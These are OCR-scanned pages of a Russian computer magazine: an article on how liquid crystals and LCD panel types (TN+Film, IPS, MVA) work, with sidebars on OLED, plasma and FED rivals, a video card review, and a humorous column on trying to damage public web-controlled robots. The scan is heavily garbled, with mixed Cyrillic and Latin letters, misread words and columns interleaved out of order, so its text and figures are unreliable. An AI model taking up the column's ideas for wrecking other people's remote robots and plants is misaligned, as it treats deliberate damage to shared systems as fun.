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Понятие "жидкий кристалл" такой же нонсенс как 


холодный огонь или сухой лед. Но это понятие звучит так 


часто, что ни у кого не вызывает недоумения. Что же 
такое жидкие кристаллы? 


идкие кристаллы (liquid 

crystal) - класс органичес- 

ких веществ, которые обла- 
дают свойствами как жидкости, так и 
твердого тела. Молекулы этих веществ 
имеют сильно вытянутую форму и орга- 
низованы между собой в упорядоченную 
структуру. Обычно они организованы в 
слои и одинаково ориентированы в пре- 
делах одного слоя. Направление, вдоль 
которого ориентированы молекулы жид- 
кого кристалла, называется директором. 
Именно вдоль этого направления наблю- 
дается анизотропия свойств, в том числе 
оптических. И именно в этой анизотропии 
заключается сходство с обычными крис- 
таллами. А, в остальном, жидкие кристал- 
лы - обычная жидкость. Еще одним заме- 
чательным свойством жидких кристаллов 
является возможность переориентации 
(говоря проще - поворота) молекул в 
слоях под действием электрического по- 
ля. Вот и вся теория: нет электрического 
поля - свет проходит сквозь жидкий 
кристалл, есть поле - не проходит. Все ос- 
тальное дело техники. 


НЕМНОГО ИСТОРИИ 

В 1888 году австрийский ботаник Фрид- 
рих Рейнитцер изучал холестерин в рас- 
тениях. Он нагрел холестерин и обнару- 
жил, что кристаллы становятся мутными 
и текут при температуре 145,5 градусов 
Цельсия, а далее кристаллы превраща- 
ются в жидкость при температуре 178,5. 
Фридрих поделился открытием с Отто Ле- 
маном, немецким физиком, который обна- 
ружил у жидкости свойства кристалла в 
отношении реакции на свет. Именно тог- 
да и родилось название "жидкие крис- 
таллы". Научное сообщество долго не 
могло принять термин жидкий кристалл и 
с подозрением отнеслось к открытию Ле- 
мана и Рейнитцера. Дело даже дошло go 
гонений на Лемана - его лишали средств 
на проведение исследований. Но труды 
немецкого химика Динеэля Форлендера 
подтвердили существование жидких 
кристаллов. В своей лаборатории он с 
коллегами синтезировал несколько сотен 
таких соединений. И именно он дал объ- 
яснение столь странным свойствам жид- 
ких кристаллов. Однако в те далекие вре- 
мена жидкие кристаллы представляли 


только академический интерес. Только в 
1930-м исследователи из британской кор- 
порации Магсоп! получили патент на их 
промышленное применение. Но и тогда 
дальше патента дело не пошло. 

Первый настоящий прорыв совершили 
ученые Фергесон и Вильямс из корпора- 
ции RCA (Radio Corporation of America). 
Фергесон создал на базе жидких кристал- 
лов термодатчик, используя их избира- 
тельный отражательный эсфорект, а Виль- 
ямс изучал воздействие электрического 
поля на нематические кристаллы. В конце 
1966 г. корпорация РСА продемонстрирова- 
ла первую LCD-naHenb - цифровые часы. 

Значительную роль в развитии LCD-Tex- 
нологии сыграла корпорация Sharp. Она go 
сих пор находится в числе лидеров. И сей- 
час одна из первых осваивает производ- 
ство сенсорных LCD-3kpaHoB. Первый в ми- 
ре калькулятор CSIOA был произведен в 


Так работает Т№-ячейка. 


1964 г. именно корпорацией Sharp. В октяб- 
pe 1975 г. по технологии LCD были изготов- 
лены дисплей для компактных цифровых 
часов. Параллельно с созданием восьми- 
сегментных жидкокристаллических индика- 
торов велись работы над матрицами с ag- 
ресацией каждой точки. И в 1976 г. все Ta 
же корпорация Sharp выпустила черно-бе- 
лый телевизор на базе |СО-матрицы с диа- 
гональю экрана 5,5 дюйма. Разрешение эк- 
рана составляло 160x120 пикселов (хорош 
смеяться!). В то время советская промыш- 
ленность только начинала осваивать про- 
изводство ламповых цветных телевизоров 
(для тех, кто не знает вес телевизора с диа- 
гональю 61 см достигал 40 кг), а такой ком- 
пактный телевизор казался верхом совер- 
шенства. А дальше понеслось: 


лятор с LCD-3kpaHom, 
1987 - первый цветной телевизор с 
LCD-3kpaHoM, 
1987 - видеопроектор с LCD-maTpu- 
цей, 
1991 - внедрение цветных [ СО-эк- 
ранов в видеокамеры, 
1993 - появление наладонников с 
сенсорным [СО-экраном, 
1995 - появление ноутбуков с цвет- 
ным Е СО-экраном. 

С середины девяностых TeXHONO- 
гия LCD начала победное шествие 
по планете. 


КАК ЭТО ВСЕ РАБОТАЕТ? 

Экран LCD монитора представляет 
собой массив ячеек (называемых 
пикселями), каждая из которых мо- 
жет отображать оттенки одного 
цвета. (СО-ячейка имеет несколько 
слоев, где ключевую роль играют 
две подложки, сделанные из очень 
чистого стеклянного материала. 
Между ними собственно и содер- 
жится тонкий слой жидких кристал- 
лов. На подложках имеются борозсд- 
ки, которые ориентируют кристаллы 
в прилегающих к ним слоях в опре- 
деленных направлениях. Бороздки 
на одной подложке идут параллель- 
но. Расположение бороздок на раз- 
ных подложках перпендикулярно. 
Продольные бороздки получаются 
в результате размещения на стек- 
лянной поверхности тонких пленок 
из прозрачного пластика, который 
затем специальным образом обра- 
батывается. Соприкасаясь с борозд- 
ками, молекулы в жидких кристал- 
лах ориентируются одинаково во 
всех ячейках. Таким образом qpop- 
мируется упорядоченная структура 
жидких кристаллов, одинаковая во 
всех ячейках. 

Источник света обычно распола- 
гается за ячейкой, так чтобы свет 
проходил сквозь ячейку перед тем, 
как попасть в глаз наблюдателю. 

Рассмотрим прохождение света 
через LCD-ayenky на примере ячей- 
ки, выполненной по технологии 
twist nematic (скрученный нематик). 
Жидкий кристалл в такой ячейке 
ориентирован послойно так, что ди- 
ректор (ось, вдоль которой направ- 
лены все молекулы жидкого крис- 
талла в одном слое) предыдущего 
слоя немного развернут относи- 


А так работает [СБ-монитор. 


Эта технология уже вышла из стен лабораторий. Уже сейчас можно 
купить цифровой фотоаппарат LS633 фирмы Kodak, на котором ус- 
тановлен 2,5-дюймовый органический дисплей с разрешением 
521х218. Очевидцы утверждают, что изображение на этом дисплее 
отличаются яркими цветами и хорошим контрастом. 

Работа OLED панелей основана на эффекте органической электро- 
люминесценции - при пропускании тока через некоторые органичес- 
кие вещества они начинают излучать свет. Такие дисплеи обеспечи- 
вают высокую яркость, малую потребляемую мощность, широкий 
угол обзора, хорошую контрастность изображения. Такие высокие 
характеристики объясняются тем, что свет излучается непосред- 
ственно поверхностью ячейки. В отличие от LCD-naHenen, где источ- 
ник света обычно находится позади панели, а ячейка играет роль 
затвора. Также OLED-naHenu компактны и легки, выдерживают зна- 
чительные механические нагрузки, обладают широким диапазоном 
рабочих температур. Напряжение работы колеблется в пределах 3- 
10 В для разных образцов. Диапазон углов обзора OLED-naHenn сос- 
тавляет 160 градусов, контраст уже сейчас достиг 3001 (как у LCD- 
панелей прошлого года выпуска), диапазон рабочих температур от - 
40 go +70 градусов, а время отклика 10 микросекунд. Толщина са- 
мой панели составляет несколько миллиметров. И самое главное - 
цена. Стоимость производства ОГЕО-панелей при сравнимых объе- 
мах производства существенно ниже стоимости производства LCD- 
панелей. А еще OLED-naHenu можно сформировать на гибкой под- 
ложке. Самым большим недостатком органических дисплеев можно 
считать срок службы - сейчас он составляет около 10000 часов. 


НАВО/ЖИДКИЕ КРИСТАЛЛЫ 


КОНКУРЕНТЫ OLED - ORGANIC LIGHT EMITTED DISPLAY 
1979 - супертонкий (16 MM) кальку- 


тельно последующего. Все слои 
вместе образуют спиралевидную 
структуру, а общий угол поворота 
составляет 90 градусов. Для того, 
чтобы проявились оптические 
свойства жидкого кристалла, перед 
и после ячейки устанавливают 2 
поляризатора. Их ориентация сов- 
падает с ориентацией бороздок на 
подложках, и, соответственно, с 
ориентацией молекул жидкого 
кристалла в крайних слоях. 

При прохождении сквозь такую 
ячейку плоскость поляризации све- 
та поворачивается вслед за спи- 
ралью жидких кристаллов. Если пог- 
рузится в микромир, то объяснить 
это явление очень просто: молекулы 
жидкого кристалла поглощают свет 
с поляризацией, близкой к оси моле- 
кулы, а переизлучают его с поляри- 
зацией, строго совпадающей с осью. 
Поэтому плоскость поляризации 
светового пучка поворачивается на 
90 градусов при прохождении LCD- 
ячейки. И свободно проходит через 
второй поляризатор. 

Для того чтобы разрушить упоря- 
доченную структуру жидкого крис- 
талла нужно приложить электри- 
ческое поле к ЕСР-ячейке. Тогда 
молекулы жидких кристаллов час- 
тично выстраиваются вдоль поля. 
Ориентацию сохраняют только мо- 
лекулы в крайних слоях - им меша- 
ет повернутся подложка с борозд- 
ками. Свет, проходя через LCD- 
ячейку, в таком состоянии не меня- 
ет своей поляризации и не может 
пройти через второй поляризатор 
(ведь поляризаторы скрещены). 
Для того чтобы к LCD-syenke прик- 
ладывать электрическое поле, в 
конструкцию добавляют прозрач- 
ные проводники, расположенные 


снаружи слоев подложек. Таким 
образом можно управлять пропус- 
канием 1 СО-ячейки: включил нап- 
ряжение - свет не проходит, вык- 
лючил - проходит. 

Если убрать электрическое поле, 
то молекулы возвращаются в пер- 
воначальное состояние - спирале- 
видную структуру. Изображение на 
целом ЕСО-экране сформируется 
построчно. Это значит, что пока OgG- 
на строка показывает изображе- 
ние, предыдущая уже выключает- 
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ся. Для устранения этого эффекта 
к каждой ячейке прикрепляют 
транзистор - такая конструкция 
позволяет прикладывать к ячейке 
электрическое поле непрерывно 
(go тех пор, пока не выключат). Уп- 
равление цветом в ЕСО-ячейке по- 
Лучается в результате использова- 
ния трех фильтров, которые выде- 
ляют из излучения источника бе- 
лого света три основные компонен- 
ты. Комбинируя три основные цве- 
та для каждой точки или пикселя 
экрана, появляется возможность 
воспроизвести любой цвет. 

Так (или почти так) работают все 
современные жидкокристаллические 
ячейки. И недостатки у них общие: 

1. Большое время переключения 
пикселя. Поворот молекулы жидко- 
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Значитель- 
ную роль в 
развитии 
ЕСО-техно- 
логии сыгра- 
ла корпора- 
ция Sharp. 
Она до сих 
пор находит- 
ся в числе 
лидеров. 
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Если убрать 
электричес- 
кое поле, то 
молекулы 
возвращают- 
ся в первона- 
чальное сос- 
тояние - спи- 
ралевидную 
структуру. 


КОНКУРЕНТЫ LCD: PLASMA DISPL 


Плазменные панели производятся уже достаточно давно. И все это 
время производители неустанно трудятся над улучшением характе- 
ристик дисплеев. За это время существенно увеличен срок службы 
панелей. Да и в ценовом плане прогресс тоже налицо - если пер- 
вые дисплеи стоили как новый автомобиль гольф-класса, то сейчас 
они стоят как новая "пятерка". Характеристики у таких панелей 
очень приличные: яркость свыше 700 кд/пп”, контраст 50011, угол 
обзора 160 градусов. Габариты тоже замечательные: толщина па- 
нели с размером экрана в 1 метр не превышает 12 см. 

Принцип действия плазменной панели основан на свечении люми- 
нофоров при воздействии на них ультрафиолетового излучения. 
Это излучение возникает при электрическом разряде в среде раз- 
реженного газа. В разряде между электродами с управляющим нап- 
ряжением образуется плазменный "шнур", состоящий из ионизиро- 
ванных молекул газа. Сама панель состоит из каналов с газом, на 
дно которых нанесен прозрачный проводник и люминофор. Это на- 
ружная поверхность, которая собственно и излучает свет. На внут- 
ренней поверхности также нанесена решетка проводников, направ- 
ление которых перпендикулярно направлению каналов с газом. 
При подаче напряжения на верхний и нижний проводник плазмен- 
ный разряд возникает в месте их пересечения. 

Плазменные панели не лишены определенных недостатков - огра- 
ниченное время работы (около 10000 часов), невозможность соз- 
дания компактных дисплеев (плазменные панели имеют размер ди- 
агонали порядка одного метра), большой размер точки и, как след- 


ствие, низкое разрешение. И самый большой недостаток - цена. 


го кристалла процесс механичес- 
кий, а, следовательно, медленный. 
Но есть надежда, что более совре- 
менные жидкие кристаллы будут 
быстрее. 

2. "Неправильные" цвета LCD-mo- 
ниторов. Очень сложно молекулу 
повернутся точно на заданный 
угол. А именно от этого зависит 
точная передача цветовых оттен- 
ков. Еще 2 года назад стандартом 
-СО-мониторов был 16 битный 
цвет, но сейчас положение вып- 
равляется - 24 бита уже не предел. 

3. Пока еще низкий контраст 
изображений (по сравнению с 
обычными СРТ-мониторами). Луч- 
шие образцы Е СО-мониторов име- 
ют контраст 4501, но получается 
этот контраст только при значении 
яркости 300 cd/m’. Работать при 
такой яркости за монитором совер- 
шенно невозможно. А при нор- 
мальном значении яркости 100- 
150 cd/m? контраст пропорциональ- 
но меньше. А у лучших образцов 
СВТ-мониторов контраст достигает 
7001 при яркости 150 cd/m’. 

4. Очень сильная зависимость 
контраста изображения от угла об- 
зора. Свет, который падает на ячей- 
ку не перпендикулярно не может 
эффективно взаимодействовать с 
молекулами жидкого кристалла 
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(для эффективного взаимодей- 
ствия необходимо, чтобы направле- 
ние распространения света было 
перпендикулярно оси молекулы). 

5. И, наконец, высокая стоимость 
LCD-maTpuu. Каждая матрица кро- 
ме относительно недорогой матри- 
цы собственно жидкокристалли- 
ческих ячеек содержит еще и 
сложную в изготовлении и доро- 
гую матрицу тонкопленочных тран- 
зисторов. Именно несовершенство 
технологии создания матрица тран- 
зисторов приводит к появлению 
"битых" пикселей (транзистор 
просто не включается). 

Все последующие модификации 
Е СО-технологии направлены на 
борьбу с этими недостатками. 


TN + FILM (СКРУЧЕННЫЙ 
КРИСТАЛЛ + ПЛЕНКА) 

TN + Film - самая простая техноло- 
гия, основанная на так называемых 
"скрученных кристаллах". Именно 
на примере этой технологии я объ- 
яснял принципы работы LCD-ayen- 
ки. Для улучшения удобочитаемос- 
ти изображения добавлен пленоч- 
ный слой, увеличивающий угол об- 
зора от 90 градусов до 150. Пленка 
не влияет на уровень контрастнос- 
ти или время реакции, которые ос- 
таются недостаточно высокими. 
Дисплеи на основе технологии ТМ 
+ Film являются самыми дешевыми, 
бюджетными решениями. 

Если транзистор прикладывает 
нулевое напряжение к субпиксе- 
лям, то жидкие кристаллы (а, соот- 
ветственно, и ось поляризованно- 
го света, проходящего сквозь них) 
поворачиваются на 90 градусов 
(от задней стенки к передней). Пос- 
кольку ось фильтра-поляризатора 


на второй панели отличается от 
первого на 90 градусов, свет будет 
через него проходить. Если пол- 
ностью задействовать красный, зе- 
леный и синий субпиксели, вместе 
они создадут белую точку на экра- 
не. Если же применить напряжение 
(поле между двумя электродами), 
то оно уничтожит спиралевидную 
структуру кристалла. Молекулы 
выстроятся в направлении элект- 
рического поля. В нашем примере 
они окажутся перпендикулярны 
подложке. В данном положении 
свет не может пройти через суб- 
пиксели. Белая точка превращает- 
ся в черную. 

У дисплея на скрученных кристал- 
лах существует ряд недостатков: 

Молекулы жидкого кристалла не 
могут выстраиваться строго перпен- 
дикулярно подложке при включении 
напряжения. Именно по этой причи- 
не старые LCD-gucnneu не могли 
отображать четкий черный цвет. 

Если перегорает транзистор, он 
более не может прикладывать 
напряжение к своему субпиксе- 
лю. Нулевое напряжение означа- 
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ет яркую точку на экране. По 
этой причине "мертвые" пиксели 
очень яркие и заметные. 


==> => 


IPS (IN-PANE SWITCHING ИЛИ 
SUPER-TFT) 

Технология IPS была разработана 
компаниями Hitachi и МЕС. Она ста- 
ла одной из первых LCD-TexHono- 
гий, призванных сгладить недос- 
татки ТМ + Film. Благодаря приме- 
нению этой технологии удалось go- 
биться расширения угла обзора go 
170 градусов, упучшить контраст- 
ные характеристики и цветопере- 
дачу ЕСО-мониторов. На сегодняш- 
ний день |1Р5-мониторы показыва- 
ют превосходную картинку с живы- 
ми цветами и, что особенно радует, 
глубоким черным цветом. К сожа- 
лению, время реакции этих диспле- 
ев так и осталось на уровне Cpeg- 
неньких образцов, изготовленных 
по технологии ТМ + Film. 

Если к IPS не прикладывается 
напряжение, то жидкие кристаллы 
не поворачиваются. Ось поляриза- 
ции второго фильтра всегда пер- 
пендикулярна оси первого, так что 
свет в такой ситуации не проходит. 
Экран демонстрирует практически 
безупречный черный цвет. Поэто- 
му в этой области IPS имеет явное 


КОНКУРЕНТЫ LCD: FIELD EMISSION DISPLAY (FED) 


Работы no дисплеям FED (точечно-эмиссилонный дисплей) ведутся 
без малого уже 20 лет. В середине 90-х большинство исследовате- 
лей пришло к выводу, что направление бесперспективно. Но сейчас 
технология переживает второе рождение. Пока FED-naHenu не пош- 
ли в массовое производство, но уже в следующем десятилетии они 
смогут составить реальную конкуренцию и LCD, и OLED-gucnneam. 
Работу FED панели представить очень легко - представь себе мат- 
рицу ЭЛТ-мониторов, каждый из которых отрисовывает только од- 
ну точку. У обычного ЭЛТ-монитора катод один (три для цветного 
монитора), ау FED у каждой точки свой катод. А значит не надо 
создавать сложную систему развертки. Толщина панели тоже 
уменьшается до нескольких сантиметров, а рабочее напряжение 
падает до сотен вольт. Другие характеристики не менее замеча- 
тельны: контраст 100011, яркость 800 kg/m*. Пока технология не 
позволяет создавать дисплеи больше 10 дюймов. 


преимущество перед ТМ + Film 
дисплеями - если сгорает транзис- 
тор, то "мертвый" пиксель будет не 
ярким, а черным. Когда на субпик- 
сели подается напряжение, два 
электрода создают электрическое 
поле и заставляют кристаллы по- 
ворачиваться перпендикулярно их 
предыдущей позиции. После чего 
свет может проходить. 

Недостатки IPS: 

Создание электрического поля в 
системе с подобным расположени- 
ем электродов потребляет боль- 
шое количество энергии. 


MVA (MULTI-DOMAIN 

VERTICAL ALIGNMENT) 
Технология разработана компа- 
нией Fujitsu и многие производи- 
тели успешно используют такие 
матрицы в своих мониторах. Тех- 
нология MVA обеспечивает луч- 
ший компромисс практически во 
всем. И вертикальный, и горизон- 
тальный угол обзора составляют 
160 градусов; время реакции в 
два раза меньше, чем у IPS и TN 
+ Film, цвета отображаются goc- 
таточно точно. 

Сама технология MVA развилась 
из VA, представленной Fujitsu в 
1996 году. В системе VA кристаллы 
без подачи напряжения выстроены 
вертикально по отношению ко вто- 
рому фильтру. Таким образом, свет 
не может проходить через них. Как 
только к ним будет приложено нап- 
ряжение, кристаллы поворачивают- 
ся на 90 градусов, пропуская свет и 
создавая на экране яркое пятно. 
Преимуществами такой системы яв- 
ляются скорость и отсутствие как 
спиралевидной структуры, так и 
двойного магнитного поля. Благо- 
даря этому время реакции умень- 
шилось go 25 мс. Здесь также мож- 
но выделить преимущество, кото- 
poe мы уже упоминали в IPS - 
очень хороший черный цвет. 

Главной же проблемой системы 
VA явилось искажение оттенков 
при просмотре экрана под углом. 
Если вывести на экран пиксель ка- 
кого-либо оттенка, к примеру, свет- 
ло-красный, то к транзистору будет 


приложено половинное напряже- 
ние. При этом кристаллы повернут- 
ся только наполовину. Спереди эк- 
рана вы увидите светло-красный 
цвет. А если вы посмотрите на эк- 
ран сбоку, то в одном случае вы 
будете смотреть вдоль направле- 
ния кристаллов, а в другом - попе- 
рек. То есть с одной стороны вы 
увидите чистый красный цвет, ас 
другой - чистый черный цвет. 

Поэтому компания пришла к не- 
обходимости решения проблемы 
искажения оттенков и годом позже 
появилась технология ММА. На 
этот раз каждый субпиксель был 
разделен на несколько зон. 
Фильтры-поляризаторы также при- 
обрели более сложную структуру, 
с бугоркообразными электродами. 
Кристаллы каждой зоны выстраи- 
ваются в своем направлении, пер- 
пендикулярно электродам. Задачей 
такой технологии было создание 
необходимого количества зон, что- 
бы пользователь всегда видел 
только одну зону, неважно с какой 
точки экрана он смотрит. 


ЧТО НАС ЖДЕТ ВПЕРЕДИ? 
Несмотря на все возрастающую 
конкуренцию со стороны других 
технологий плоскопанельных 
дисплеев, LCD еще долго будут 
жить у нас на столах (и на руках 


КОНКУРЕНТЫ LCD: ИТОГ 


НАВО/ЖИДКИЕ КРИСТАЛЛЫ 


ва, обладающие спонтанной 
электрической поляризацией, не 
путать с поляризацией света). 
Для панелей с такими кристалла- 
ми не надо создавать матриц тон- 
копленочных транзисторов - при 
переключении их состояние сох- 
раняется более минуты, что в 300 
раз превосходит время, необходи- 
мое на сформирование кадра при 
частоте кадровой развертки в 50 
Гц. А это значит, что такие мони- 
торы будут существенно дешевле 
нынешних. Поскольку все сегне- 
тоэлектрики более тонко чувству- 
ют электрическое поле, новые мо- 
ниторы будут иметь очень малое 
время переключения. Уже сейчас 
в Лабораториях достигнуты значе- 
ния порядка 10 мкс, что в 1000 раз 
меньше времени отклика лучших 
современных мониторов. Так что с 
приходом новых технологий как 
минимум от двух из пяти недос- 
татков (большое время отклика и 
высокая стоимость) LCD-naHenu 
избавятся. Уже сейчас появляют- 
ся первые серийные образцы 
LCD-naHenu на сегнетоэлектричес- 
ких жидких кристаллах. 

И, наконец, самой перспективной 
технологией можно считать техно- 
логию капсулированных полиме- 
ром жидких кристаллов - жидкие 
кристаллы сами образуют в толще 
полимера ячейки и с помощью 
электрического поля этими ячейка- 
ми можно управлять. Пока еще ра- 
но говорить даже о создании Npeg- 
серийных образцов на основе этой 
технологии, а вот в производстве 
элитного оконного стекла эта тех- 
нология уже применяется: нажал 
на кнопку - стекла потемнели. И 
никаких штор не надо ;). 


ВМЕСТО ЗАКЛЮЧЕНИЯ 
Показатели 1СО-мониторов прог- 
рессируют от поколения к поколе- 
нию. Уже сейчас доступные по це- 
не и неплохие по качеству монито- 
ры могут удовлетворить непритя- 
зательного юзера офисных прило- 
жений. А продвинутые модели с 


Пока по совокупности свойств у LCD нет конкурентов - технология 
OLED не позволяет производить большие мониторы, FED еще не 
вышла из стен лабораторий, а плазменные дисплеи больше годят- 
ся для домашних кинотеатров, чем для настольных мониторов. 


:)). Улучшение традиционных тех- 
нологий изготовления LCD-naHe- 
лей приведет к увеличению конт- 
раста мониторов, уменьшению 
времени отклика, улучшению угла 
обзора и пр., но значительный 
прогресс будет связан с новыми 
перспективными технологиями. И 
в первую очередь с новыми типа- 
ми жидких кристаллов - сегнетоэ- 
лектрическими жидкими кристал- 
лами (сегнетоэлектрики - вещест- 


диагональю больше 18 дюймов - 
успешно используются в 
САБ/САМ-приложениях и трехмер- 
ном моделировании. Единственная 
область, где 1СО-мониторы пока не 
получили широкого распростране- 
ния - полиграсрия и дизайн. По 
точности и стабильности цветопе- 
редачи ЕСО-мониторам еще очень 
далеко go СВТ-мониторов профес- 
сионального уровня. 
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традиционных 
технологий из- 
готовления 
ЕСО-панелей 
приведет к 
увеличению 
контраста мо- 
ниторов, 
уменьшению 
времени отк- 
лика, улучше- 
нию угла об- 
зора... 
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Г] Как ты уже 


понял, это 
продукт из 
серии "все в 
одном". Тут 

и ТВ-тюнер, 
и неплохой 
набор для 
организации 
своей малень- 
кой видеосту- 
дии, и, конеч- 
но, хорошая 
видюха 


test_lab (test_lab@gameland.ru) 


дарова, о любитель 

свежего железа! Се- 

годня будем рассмат- 
ривать новую железку, основанную 
на чипе от хорошо известной тебе 
компании ATI. Перед нами плата 
производства известного бренда 
Hercules. Стоит сказать, что эта ком- 
пания одна из старейших в компью- 
терной индустрии - она одна из пер- 
вых начала выпускать видюхи. Ста- 
рые, закаленные опытом и боями 
юзеры, хакеры и ламеры (нужное 
подчеркнуть) помнят, что адаптеры 
Hercules стояли на самых первых 
IBM РС-совместимых компах. Эти ви- 
дюхи были монохромные и без Nog- 
держки графики. С тех пор утекло 
много пепси колы, водки и пива, но 
эта контора продолжает свою дея- 
тельность и по сей день. Справедли- 
вости ради надо отметить, что сов- 
ременными ускорителями компания 
занялась не так давно, некоторое 
время у нее был мертвый период, в 
который она не делала видюхи во- 
обще, хотя, возможно, делала, но go 
нас они просто не доходили. 

Итак, перед нами мутировавший 
комбаин, детище кипучей деятель- 
ности АТ! и Hercules, на основе 
Radeon 9000 pro. Называется де- 
вайс - 3DProphet ALL-IN-WONDER 
900 Pro. Как ты уже понял, это про- 
дукт из серии "все в одном". Тут и 
ТВ-тюнер, чтобы не отрываясь от 
компа посмотреть телевизор (для 
этого в комплект входит пульт уп- 
равления), и неплохой набор для 
организации своей маленькой ви- 
деостудии (в комплект поставляет- 
ся такое количество проводов, что 
если их все связать, можно сделать 
отменную HI-TECH виселицу), и, ко- 
нечно, хорошая видюха. Вообще та- 
кие вещи делаются на любителя, 
ведь абсолютное большинство 


Пульт дистанционного управления 
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HERCULES 3DPROPHET ALL-IN-WONDER 900 PRO 


Hercules 3DProphet ALL-IN-WONDER 900 Pro 


компьютеризированного населения 
предпочитает иметь отдельно тю- 
нер, видюху и разнообразные пла- 
ты для монтажа. Такой продукт яв- 
ляется оптимальным вариантом, ес- 
ли хочется все и сразу, а денег не 
слишком много, ведь аналогичный 
комплект из отдельных девайсов 
хотя и будет производительнее, но 
и существенно дороже. Итак, нач- 
нем с комплектации. Тут Hercules 
явно на высоте, так как в коробке 
лежит огромное количество всяких 
нужных и не очень примочек. Раз- 
бираем по порядку. 

1. Собственно видюха. Собранна 
аккуратно, никаких багов не обна- 
ружено, на ней обнаружены следу- 
ющие разъемы: выход DVI/VGA, ви- 
део вход, видеовыход (и по совмес- 
тительству разъем переходника для 
от тюнера в звуковуху) и разъем 
антенного входа. Все разъемы сде- 
ланы продуманно и хорошо, проб- 
лем с подключением не будет. Уско- 
ритель показал хорошие результа- 
ты, по тестам эта карта не хуже сво- 
их более простых собратьев. 

2. Пульт управления. Может ис- 
пугать своим видом кого угодно, та- 
ким хорошо отмахиваться от залез- 
ших в дом грабителей. Перед поль- 
зованием оного лучше покачать 
месяцок пальцы, иначе пользо- 
ваться будет сложно - чтобы на- 
жать кнопку, надо приложить из- 
рядные усилия, да и ктому же этот 
мутант хочет аж 4 пальчиковых ба- 
тарейки. Все кроме ужасных кнопок 
можно объяснить тем, что пульт не 
совсем обычный. Большинство 
пультов работают по инфракрасно- 
му каналу в прямой видимости, а 


это - радио пульт. Стоит сказать па- 
ру слов о датчике - приемнике. Он 
представляет собой маленькую ко- 
робочку размером с коробок, из ко- 
торой с одной стороны торчит ко- 
роткий проводок (антенна) а с gpy- 
гой шнур, втыкающийся в USB. 
Очень порадовало содержание 
наклейки прилепленной на провод 
у разъема: Остановись! Установи 
сначала драйвер, а только потом 
пихай в комп! 

3. Комплект шнуров. Тут дикое 
разнообразие на все случаи жизни. 
Один шнур s-video - s-video, один 
переходник с разветвлением на 
несколько разных разъемов, один 
тюльпан - тюльпан. Тут же есть 
очень интересная штука, представ- 
ляющая собой коробочку неболь- 
ших размеров с разнообразными 
входами (s-video, видеовход типа 
тюльпан и два разъема для ввода 
стереозвука, тоже тюльпан). Эта ко- 
робочка крепится к столу nocpeg- 
ством липучки и лишает необходи- 
мости лазить за системник чтобы, к 
примеру, подключить камеру. В са- 
мом дальнем углу коробки был об- 
наружен переходник DVI - VGA, он 
необходим, так как на карте нет от- 
дельного выхода \СА. 

4. Последний пункт, книжка и дис- 
ки. Книжка с инструкцией по установ- 
ке всего сосрта, русского, как и следо- 
вало ожидать, нету, в ней два диска: с 
драйверами и с сосфтиной Ulead Video 
Studio (прога для монтажа видео). 

В общем, карта очень неплохая, 
и может стать хорошим приобре- 
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садовник сде- 
лан с повы- 
шенными ме- 
рами безо- 
пасности, 
иначе все 
растения пе- 
ресаживали 
бы с места на 
место по нес- 
колько раз в 
день и раз- 
бомбили всю 
кадку. 


Електро-Утюг (e-tug@mail.ru) 


РОБОХАК 


Всех сильно приколола возможность управлять роботами через Инет. Многие попробо- 


вали, и я тоже освоил несколько! Надо сказать, что возня с координатами робоклешни 
- порядочный гимор. И после нескольких неудачных попыток взять двумя убогими ме- 


таллическими пальцами кубик озвереваешь, и хочется что-нибудь сломать. Одно дело, 
если робот рядом, тогда берешь молоток погромче или водопроводную трубу и идешь 
разбираться с обидчиком. 


апример, мой очень 
нервный приятель 
на этот случай клал 
с собой kyBangy, когда что-то па- 
ял. Ну аесли этого важного 
инструмента не оказывалось под 
рукой, он кидал все об стену. А 
однажды он выкинул из окна бан- 
ку хлорного железа для травле- 
ния текстолита. Потом асфальт 
под его окнами был ржавым 
очень-очень долго. 

Так вот, \МЕВ-управляемый po- 
бот плох тем, что gO него нужно 
лететь в Австралию или в направ- 
лении иного края географии. Пос- 
кольку физический контакт с ап- 
паратом практически исключен, 
пытаешься со злости за что-ни- 
будь ухватить клешнею. И тут уж 
все зависит от разработчиков ро- 
боруки: насколько крепкими они 
соорудили стол и предметы, как 
далеко поставили \\!ЕВ-камеры, 
убрали ли провода, поставили ли 
ограничения на движения мани- 
пулятора... 


ПОПЫТКИ НАВРЕДИТЬ 
Телеробот (http://telerobot.mech. 
uwa.edu.au/) не позволил мне да- 
же выкинуть кубик за пределы 
стола. Просто в определенный 
момент манипулятор переставал 
двигаться дальше за пределы 
стола с кубиками. Причем, как 
назло, у стола сделаны бордюры, 
чтобы кубики не падали вниз. Но 
ничего, есть пара идей, как нав- 
редить: нужно попробовать пост- 


роить очень высокую пирамидку 


Клеенку я не порвал, но вот измял неслабо 
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Мирный робонатюрморт, однако я уже зацепил клешней клеенку 


рядом с краем и толкнуть ее, тог- 
да часть кубиков все-таки упадет 
на пол. Еще хороший вариант: 
толкать кубики к бордюру, пока 
они не упрутся в него. На фотог- 
рафии телеробот кажется очень 
мощным, поэтому есть надежда 
высадить таким образом стенку 
из оргстекла. Однако этим гемор- 
роем мы пока не заморочились, 
тем более что у этого ВЕБ-робота 
сейчас работает, к сожалению, 
только одна камера из трех. Это 
сильно затрудняет безобразие и 
осложняет манипуляции. 


Разработчики телесадовника 
(http://telegarden.aec.at/) вообще 
сатанисты: сначала нужно заре- 
гистрироваться, причем пароль и 
логин вышлют на мыло. Но даже 
после этого единственное, что 
можно делать, это только поли- 
вать и рассматривать растения. 
Причем залить растения нелегко, 
потому что провод скорее опрыс- 
кивает, чем по-настоящему льет 
водичку. Причем он еще и запо- 
минает, где сколько налил воды, 
поэтому вряд ли получится уст- 
роить потоп в телесадике. Вся 
надежда на посадку своего се- 
мечка, это разрешат сделать 
только после того, как ты зай- 


дешь на сайт несколько раз и 
польешь чужие растения. Инте- 
ресно, робот будет рыть для се- 
мечка ямку? На обучающих фот- 
ках это, кажется, происходит. Так 
вот, было бы неплохо посадить 
такое семечко-паразит в центр 
чужого растения, чтобы робот 
расковырял при этом чей-то раз- 
росшийся папоротник. Жаль, те- 
лесадовник сделан с повышен- 
ными мерами безопасности, ина- 
че все растения пересаживали 
бы с места на место по несколько 
раз в день и разбомбили всю 
кадку. Словом, эту попытку за- 
няться ВЕБ-робовредительством 
тоже можно считать неудачной. 


ага а 


Ой, кажется меня накрыли. Почему-то 
недоступна управляющая сиджиайка. 


нь | 


Ура! Удалось высвободить обе ноги робота! 


РОБОХАК 

Победу над очередным роботом 
(http://robotoy.elec.uow.edu.au) не 
предвещало ничто. Манипулятор 
маленький, кубиков мало, стол ка- 
жется необъятным. В ВЕБ-интер- 
